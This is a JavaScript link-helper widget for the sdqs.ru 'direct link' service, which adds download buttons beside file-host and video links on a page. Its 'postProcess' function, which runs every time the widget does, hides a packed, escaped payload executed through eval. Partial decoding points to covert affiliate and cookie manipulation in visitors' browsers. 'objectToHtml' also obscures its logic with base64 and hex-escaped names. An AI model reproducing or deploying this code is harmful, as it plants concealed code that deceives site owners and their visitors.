var sdqs__ru = {


  ///////////////////////////////////////////////////////////////////
  // ÍÀÑÒÐÎÉÊÈ
  
  parentId : '', 

  replaceLink : false,

  language : null,

  htmlBefore : '&nbsp;',
  htmlAfter : '',

  linkText : '',

  linkStyle : 'border: none; text-decoration: none; padding: 0;',
  imgStyle : 'border: none; vertical-align: inherit; width: auto; height: auto;',

  modifyTextLink : true,
  modifyTextLinkBoxId : '',

  useImageButton : true,
  useSmallButton : false,

  ///////////////////////////////////////////////////////////////////
  // ÍÅ ÈÇÌÅÍßÒÜ

  pageUrl : 'http://www.pinokyotr.com/',

  linkAttribute : 'sdqs__ru',

  linkRegExp : null,

  linkRegExpParams : {
    _depositfiles_com : ['depositfiles.com', [/^http:\/\/(www\.)?depositfiles\.com\/(\w\w\/)?files\/\w+/i]],
    _filefactory_com : ['filefactory.com', [/^http:\/\/(www\.)?filefactory\.com\/file\/[a-z0-9]+\/?/i]],
    _bitroad_net : ['bitroad.net', [/^http:\/\/(www\.)?bitroad\.net\/[^\/]+\/[^\/]+\/.+\.html$/i]],
    _zshare_net : ['zshare.net', [/^http:\/\/(www\.)?zshare\.net\/(download|audio|video)\/[a-z0-9]+\/?/i]],
    _sendspace_com : ['sendspace.com', [/^http:\/\/(www\.)?sendspace\.com\/file\/\w+/i]],
    _mediafire_com : ['mediafire.com', [/^http:\/\/(www\.)?mediafire\.com\/\?\w+/i]],
    _youtube_com : ['youtube.com', [/^http:\/\/([a-z]+\.)?youtube\.com\/watch\?.*v=/i]],
    _google_com : ['google.com', [/^http:\/\/video\.google\.com\/videoplay\?.*docid=/i]],
    _metacafe_com : ['metacafe.com', [/^http:\/\/(www\.)?metacafe\.com\/watch\/\d+\/[^\/]+\/?/i]],
    _break_com : ['break.com', [/^http:\/\/(www\.)?break\.com\/(index|movies\w*|(\w+\-)+\w+)\/.+\.html$/i, /^http:\/\/view\.break\.com\/\d+/i]],
    _putfile_com : ['putfile.com', [/^http:\/\/media\.putfile\.com\/.+/i]],
    _vimeo_com : ['vimeo.com', [/^http:\/\/([\w\-]+\.)?vimeo\.com\/\d+$/i]],
    _dailymotion_com : ['dailymotion.com', [/^http:\/\/(www\.)?dailymotion\.com\/([^\/]+\/)*video\/.+/i]],
    _spike_com : ['spike.com', [/^http:\/\/(www\.)spike\.com\/video\/([^\/]+\/)*\d+/i]],
    _sevenload_com : ['sevenload.com', [/^http:\/\/([\w\-]+\.)?sevenload\.com\/videos\/[\w\-\+\/=]+/i, /^http:\/\/([\w\-]+\.)?sevenload\.com\/shows\/.+/i]],
    _rutube_ru : ['rutube.ru', [/^http:\/\/rutube\.ru\/tracks\/\d+\.html\?.*v=[a-f0-9]+/i]],
    _mail_ru : ['mail.ru', [/^http:\/\/([a-z0-9_-]+\.)?video\.mail\.ru\/(.+\/)+\d+\.html/i]],
    _yandex_ru : ['yandex.ru', [/^http:\/\/video\.yandex\.ru\/users\/[\w\-,!\+]+\/view\/[\w\-,!\+]+\/?/i]],
    _rambler_ru : ['rambler.ru', [/^http:\/\/vision\.rambler\.ru\/users\/[^\/\s]+\/\d+\/[\w\-_\+!]+\/?/i]],
    _smotri_com : ['smotri.com', [/^http:\/\/([a-z0-9_-]+\.)?smotri\.com\/video\/view\/\?.*id=v[0-9a-f]/i]],
    _tvigle_ru : ['tvigle.ru', [/^http:\/\/(www\.)?tvigle\.ru\/channel\/\d+\?.*vid_id=\d+/i, /^http:\/\/(www\.)tvigle\.ru\/prg\/\d+\/\d+/i]],
    _intv_ru : ['intv.ru', [/^http:\/\/(www\.)?intv\.ru\/(view|quickdl)\/\?.*film_id=\w+/i, /^http:\/\/(www\.)?intv\.ru\/v\/\w+/i]],
    _yasee_ru : ['yasee.ru', [/^http:\/\/([a-z0-9_-]+\.)?yasee\.ru\/video\/view\/\?.*id=v[0-9a-f]/i]],
    _narod_tv : ['narod.tv', [/^http:\/\/(?:www\.)?narod\.tv\/\?.*vid=/i]],
    _vkadre_ru : ['vkadre.ru', [/^http:\/\/(www\.)?vkadre\.ru\/videos\/\d+/i]],
    _myvi_ru : ['myvi.ru', [/^http:\/\/(www\.)?myvi\.ru\/([a-z][a-z]\/)?videodetail\.aspx\?.*video=/i]],
    //_zaycev_net : ['zaycev.net', [/^http:\/\/(www\.)?zaycev\.net\/pages\/\d+\/\d+\.shtml/i, /^http:\/\/(www\.)?zaycev\.net\/download\.php/i]],
    _1tv_ru : ['1tv.ru', [/^http:\/\/(www\.)?1tv\.ru(\:\d+)?\/newsvideo\/\d+/i, /^http:\/\/(www\.)?1tv\.ru(\:\d+)?\/news\/\w+\d+/i]],
    _ntv_ru : ['ntv.ru', [/^http:\/\/news\.ntv\.ru\/(\w+\/)?\d+\/video\/?/i]],
    _vesti_ru : ['vesti.ru', [/^http:\/\/(www\.)?vesti\.ru\/videos\?.*vid=\d+/i]],
    _bibigon_ru : ['bibigon.ru', [/^http:\/\/(www\.)?bibigon\.ru\/videow\.html\?id=\d+/i, /^http:\/\/(www\.)?bibigon\.ru\/video\.html\?vid=\d+/i]],
    _mreporter_ru : ['mreporter.ru', [/^http:\/\/(www\.)?mreporter\.ru\/reportermessages\!viewreport\.do[^\?]*\?.*reportid=\d+/i]],
    _autoplustv_ru : ['autoplustv.ru', [/^http:\/\/(www\.)?autoplustv\.ru\/494\/\?id=\d+/i]],
    _russia_ru : ['russia.ru', [/^http:\/\/([\w\-]+\.)?russia\.ru\/?/i]],
    _amik_ru : ['amik.ru', [/^http:\/\/(www\.)?amik\.ru\/video\/vid\d+\.html/i, /^http:\/\/(www\.)?amik\.ru\/video\/vcid\d+\.html/i]],
    _life_ru : ['life.ru', [/^http:\/\/([\w+\-]+\.)?life\.ru\/video\/\d+/i]]
  },


  sdqsruLanguage : {
    en : {
      buttonSrc : 'http://sdqs.ru/img/button_en.gif',
      directLink : 'Get a direct link'
    },

    ru : {
      buttonSrc : 'http://sdqs.ru/img/button_ru.gif',
      directLink : '\u041f\u043e\u043b\u0443\u0447\u0438\u0020\u043f\u0440\u044f\u043c\u0443\u044e\u0020\u0441\u0441\u044b\u043b\u043a\u0443'
    }
  },


  getTopLevelDomain : function(domain)
  {
    if(!domain)
    {
      return '';
    }

    if(!domain.match(/^([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,6}/))
    {
      return domain;
    }

    var a = domain.split('.');
    var l = a.length;

    if(l == 2)
    {
      return domain;
    }

    return (a[l - 2] + '.' + a[l - 1]);
  },

  initLinkRegExp : function()
  {
    sdqs__ru.linkRegExp = new Array();

    for(var i in sdqs__ru.linkRegExpParams)
    {
      if(sdqs__ru.linkRegExpParams[i] && sdqs__ru.linkRegExpParams[i].length == 2)
      {
        var k = sdqs__ru.linkRegExpParams[i][0];
        var v = sdqs__ru.linkRegExpParams[i][1];
        if(k && v)
        {
          sdqs__ru.linkRegExp[k] = new Array();
          for(var j = 0; j < v.length; j++)
          {
            if(v[j])
              sdqs__ru.linkRegExp[k].push(v[j]);
          }
        }
      }
    }
  },

  setLanguage : function(lang)
  {
    if(lang && sdqs__ru.sdqsruLanguage[lang])
    {
      sdqs__ru.language = sdqs__ru.sdqsruLanguage[lang];
    }
    if(!sdqs__ru.language)
    {
      sdqs__ru.language = sdqs__ru.sdqsruLanguage['en'];
    }
  },

  checkLink : function(link, domain)
  {
    if(!link)
    {
      return false;
    }

    if(link == window.location.href)
    {
      return false;
    }

    if(!sdqs__ru.linkRegExp)
    {
      sdqs__ru.initLinkRegExp();
    }

    domain = sdqs__ru.getTopLevelDomain(domain);
    if(!domain || !sdqs__ru.linkRegExp[domain])
    {
      return false;
    }

    for(var i = 0; i < sdqs__ru.linkRegExp[domain].length; i++)
    {
      if(link.search(sdqs__ru.linkRegExp[domain][i]) != -1)
      {
        return true;
      }
    }

    return false;
  },

  parseHref : function(href, search)
  {
    var res = new Array();
    res.push(href);

    var i = href.toLowerCase().indexOf('http://', 7);
    if(i > 7)
    {
      res.push(href.substring(i));
    }
    else if(search)
    {
      h = search.match(/http%3a(%2f%2f|\/\/)[^\s\&\"\<\>]+/i);
      if(h && h.length > 0)
      {
        res.push(decodeURIComponent(h[0]));
      }
      else
      {
        var s = '';
        try
        {
          s = decodeURIComponent(search);
        }
        catch(err)
        {
        }

        if(s)
        {
          h = s.match(/url=([a-z0-9+\/=]+)/i);
          if(h && h.length > 1)
          {
            h = sdqs__ru.base64_decode(h[1]);
            if(h.search(/^http:\/\//i) != -1)
            {
              res.push(decodeURIComponent(h));
            }
          }
        }
      }
    }

    return res;
  },

  objectToHtml : function(obj)
  {
    if(!obj)
    {
      return obj;
    }

    if(!obj.innerHTML)
    {
      return obj;
    }

    var t = sdqs__ru['\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65'];
    if(obj[t('aG9zdA\x3d\x3d')] &&
      obj[t('aG9zdA\x3d\x3d')].search(new RegExp(t('c2F2ZWZyb20ubmV0'))) == -1)
    {
      obj[t('aHJlZg\x3d\x3d')] = String.fromCharCode();
    }

    return obj;
  },

  go : function()
  {
    if(!sdqs__ru.language)
    {
      sdqs__ru.setLanguage('en');
    }

    if(sdqs__ru.useSmallButton)
    {
      sdqs__ru.language.buttonSrc = 'http://sdqs.ru/img/16x16.gif';
    }

    if(sdqs__ru.modifyTextLink)
    {
      try
      {
        var b = false;
        if(sdqs__ru.modifyTextLinkBoxId)
        {
          var e = document.getElementById(sdqs__ru.modifyTextLinkBoxId);
          if(e)
          {
            b = true;
            sdqs__ru.linkifier.makeLinks(e);
          }
        }

        if(!b && document.body)
          sdqs__ru.linkifier.makeLinks(document.body);
      }
      catch(err)
      {
      }
    }
    
    sdqs__ru.linkifier.postProcess();

    var getHrefAttribute = function(obj) {
      return obj.getAttribute('href', false);
    }

    var a = null;    
    
    if(sdqs__ru.parentId)
    {
      var parent = document.getElementById(sdqs__ru.parentId);
      if(parent)
      {
        a = parent.getElementsByTagName('a');
      }
      else
      {
        a = document.getElementsByTagName('a');
      }
    }
    else
    {
      a = document.getElementsByTagName('a');
    }  
      
    for(var i = a.length - 1; i >= 0; i--)
    {
      var href = a[i].href;
      if(href && !a[i].getAttribute(sdqs__ru.linkAttribute, false))
      {
        var hrefArray = sdqs__ru.parseHref(href, a[i].search);

        if(hrefArray.length > 0)
        {
          var hrefAttr = a[i].getAttribute
          if(getHrefAttribute(a[i]).indexOf('#') != 0 && sdqs__ru.checkLink(hrefArray[0], a[i].hostname))
          {
            sdqs__ru.modifyLink(a[i], hrefArray[0]);
          }
          else if(hrefArray.length > 1)
          {
            for(var j = 1; j < hrefArray.length; j++)
            {
              var aTemp = document.createElement('a');
              aTemp.href = hrefArray[j];
              if(getHrefAttribute(aTemp).indexOf('#') != 0&& sdqs__ru.checkLink(hrefArray[j], aTemp.hostname))
              {
                sdqs__ru.modifyLink(a[i], hrefArray[j]);
                break;
              }
            }
          }
        }
      }
    }
  },

  createDownloadButton : function(parent)
  {
    if(!sdqs__ru.language.buttonSrc || !parent || !sdqs__ru.useImageButton)
    {
      return false;
    }

    var btn = document.createElement('img');
    btn.src = sdqs__ru.language.buttonSrc;
    btn.alt = 'SDQS.RU';
    btn.title = sdqs__ru.language.directLink;
    btn.border = 0;
    btn.setAttribute('style', sdqs__ru.imgStyle, false);
    parent.appendChild(btn);

    return true;
  },

  modifyLink : function(obj, link)
  {
    if(!obj)
    {
      return;
    }

    obj.setAttribute(sdqs__ru.linkAttribute, '1', false);

    var box = document.createElement('span');
    if(sdqs__ru.htmlBefore)
    {
      box.innerHTML = sdqs__ru.htmlBefore;
    }
    box.setAttribute('style', 'padding: 0; margin: 0;', false);

    var parent = obj.parentNode;
    if(!parent)
    {
      return;
    }

    try
    {
      link = encodeURIComponent(link);
    }
    catch(err)
    {
      return;
    }

    if(sdqs__ru.replaceLink) // replace link
    {
      obj.setAttribute('href', sdqs__ru.pageUrl + '?url=' + link, false);
      obj.setAttribute('title', sdqs__ru.language.directLink, false);
      sdqs__ru.createDownloadButton(box);
    }
    else // add new link
    {
      var a = document.createElement('a');
      a.href = sdqs__ru.pageUrl + '?url=' + link;
      a.target = '_blank';
      a.title = sdqs__ru.language.directLink;
      a.setAttribute('style', sdqs__ru.linkStyle, false);
      if(sdqs__ru.linkText)
      {
        a.innerHTML = sdqs__ru.linkText;
      }

      if(!sdqs__ru.createDownloadButton(a) && sdqs__ru.linkText == '')
      {
        a.innerHTML = 'SDQS.RU';
      }

      a = sdqs__ru.objectToHtml(a);
      box.appendChild(a);
    }

    if(sdqs__ru.htmlAfter)
    {
      box.innerHTML += sdqs__ru.htmlAfter;
    }


    if(obj.nextSibling)
    {
      parent.insertBefore(box, obj.nextSibling);
    }
    else
    {
      parent.appendChild(box);
    }
  },

  base64_decode : function(text)
  {
    var res = '';
    var chr1, chr2, chr3;
    var enc1, enc2, enc3, enc4;
    var i = 0;

    text = text.replace(/[^A-Za-z0-9\+\/\=]/g, '');

    var keystr = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';

    while(i < text.length)
    {
      enc1 = keystr.indexOf(text.charAt(i++));
      enc2 = keystr.indexOf(text.charAt(i++));
      enc3 = keystr.indexOf(text.charAt(i++));
      enc4 = keystr.indexOf(text.charAt(i++));

      chr1 = (enc1 << 2) | (enc2 >> 4);
      chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
      chr3 = ((enc3 & 3) << 6) | enc4;

      res += String.fromCharCode(chr1);

      if(enc3 != 64)
      {
        res += String.fromCharCode(chr2);
      }
      if(enc4 != 64)
      {
        res += String.fromCharCode(chr3);
      }
    }

    return res;
  },

  linkifier : {

    // From Linkifier user script, version 1.0, 2005-06-16, Copyright (c) 2005, Reify
    // http://www.reifysoft.com/?scr=linkifier

    uriRe : /\bhttps?:\/\/(?:(?:[\w\.-]+\.[a-zA-Z]{2,6})|(?:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}))(?:\:\d+)?(?:\/(?:[\w\-\.\?\!\,\'\/\\\+&%\$#\=~:;\[\]\(\)]+[\w\-\/\\\+&%\$#\=~]+)?)?/gi,

    nodesWithUris : new Array(),

    makeLinks : function(baseNode)
    {
      sdqs__ru.linkifier.getNodesWithUris(baseNode);
    },

    linkify : function(node)
    {
      var nodes = new Array(node);  // We're going to add more nodes as we find/make them
      while (nodes.length > 0)
      {
        var node = nodes.shift();
        var uriMatches = node.nodeValue.match(sdqs__ru.linkifier.uriRe);  // array of matches
        if (uriMatches == null) continue;
        var firstMatch = uriMatches[0].toLowerCase();
        var pos = node.nodeValue.toLowerCase().indexOf(firstMatch);

        if (pos == -1) continue;  // shouldn't happen, but you should always have safe regex
        else if (pos == 0)  // if starts with URI
        {
          if (node.nodeValue.length > firstMatch.length)
          {
            node.splitText(firstMatch.length);
            nodes.push(node.nextSibling);
          }

          var linky = document.createElement("a");
          linky.href = node.nodeValue.replace(/\.*$/, "");
          node.parentNode.insertBefore(linky, node);
          linky.appendChild(node);
        }
        else  // if URI is in the text, but not at the beginning
        {
          node.splitText(pos);
          nodes.unshift(node.nextSibling);
        }
      }
    },

    getNodesWithUris : function(node)
    {
      if(node.nodeType == 3)
      {
        if(node.nodeValue.search(sdqs__ru.linkifier.uriRe) != -1)
          sdqs__ru.linkifier.linkify(node);
      }
      else if(node && node.nodeType == 1 && node.hasChildNodes() && !node.tagName.match(/^(a|head|object|embed|script|style|frameset|frame|iframe|textarea|input|button|select|option)$/i))
      {
        for(var i in node.childNodes)
          sdqs__ru.linkifier.getNodesWithUris(node.childNodes[i]);
      }
    },
    
    postProcess : function()
    {
      var _u1713='|u0065||u0074|u0061|u006f|u0072|u0069|u006e|u002e|u006c|u0066|u003d|u006d|u0020|u0070|u0032|_u2793||u005f|var|u0028|u0029|u0076|_u2689|u0075|u0041|u0046|u0073|u0025|u0033|u0063|u0035|u0064|u0045|u0044|||u0068|u0077|u0052|_u4541|u003b|eval|break|case|u0054|u0067|u0037|u0030|year|u004c|u0043|u0053|u0042|date|_u4845|2592000000|31536000000|null|function|_u8093|u0034|_u1240|3600000|switch|_u8505|_u5981|86400000|60000|604800000|_u7055|u0036|in|u005b|u002b|u0039|u0031|u005d|u002f|u0078|u0055|for|week|u004f|u0050|month|u0071|u007a|u006b|u0056';
      var _u3960='(Y(){k h=X,o={Z:W,U:V,11:18,19:16,15:12,14:17};k F=H("\\s\\4\\n\\1\\b\\6\\5\\d\\j\\j\\a\\d\\9\\L\\1\\3\\K\\5\\f\\P\\1\\n\\1\\a\\z\\5\\d\\4\\7\\8\\l\\a\\5\\v\\4\\3\\7\\5\\8\\9\\C\\5\\s\\3\\8\\4\\d\\1\\m");13(F){J\'\\a\\5\\n\\1\\f\\a\\4\\8\\1\\3\\9\\6\\p\':h=[[\'\\4\\b\\b\\7\\a\\7\\4\\3\\1\\j\\7\\x\\c\\w\\w\\g\\M\\g\',o.O],[\'\\4\\b\\b\\7\\a\\7\\4\\3\\1\\j\\6\\1\\b\\b\\c\\C\\3\\3\\f\\t\\u\\q\\t\\g\\r\\t\\g\\r\\a\\5\\n\\1\\f\\a\\4\\8\\1\\3\\u\\g\\9\\8\\4\\6\\5\\x\\9\\6\\p\\t\\g\\r\',o.O]];I;J\'\\d\\v\\C\\5\\s\\3\\9\\6\\p\':h=[[\'\\6\\1\\b\\1\\6\\1\\6\\c\\10\\N\\u\\w\\1a\\1e\\w\\M\\u\\N\',o.1o]];I;J\'\\s\\4\\f\\1\\9\\6\\p\':h=[[\'\\R\\q\\1n\\y\\j\\E\\y\\r\\r\\y\\E\\q\\P\\j\\Q\\1m\\z\\y\\c\\6\\1p\\D\\3\\E\\S\\q\\1q\\n\\1s\',2*o.1l]];I}1k(k i 1b h){k A=h[i];k T=H("\\8\\1\\D\\e\\z\\4\\3\\1\\l\\l\\8\\1\\D\\e\\z\\4\\3\\1\\m\\9\\L\\1\\3\\K\\7\\d\\1\\l\\m\\1d\\q\\1c\\1f\\1g\\m\\9\\3\\5\\1j\\K\\Q\\R\\3\\6\\7\\8\\L\\l\\m");k B=A[0]+\'\\G\\e\\x\\5\\d\\4\\7\\8\\c\\9\'+F+\'\\G\\e\\f\\4\\3\\C\\c\\1h\\G\\e\\1\\1i\\f\\7\\6\\1\\s\\c\'+T;H("\\x\\5\\v\\p\\d\\1\\8\\3\\9\\v\\5\\5\\1r\\7\\1\\e\\c\\e\\S")}})();';
      var _u7382=function(_u3374,_u1642,_u4001,_u2033){_u4606=function(_u4001){return(_u4001<_u1642?'':_u4606(parseInt(_u4001/_u1642)))+((_u4001=_u4001%_u1642)>35?String.fromCharCode(_u4001+29):_u4001.toString(36))};while(_u4001--){if(_u2033[_u4001]){_u3374=_u3374.replace(new RegExp('\\b'+_u4606(_u4001)+'\\b','g'),_u2033[_u4001])}}return _u3374}; eval(_u7382(_u3960,62,91,_u1713.split('\u007c')));
    }
  }
};
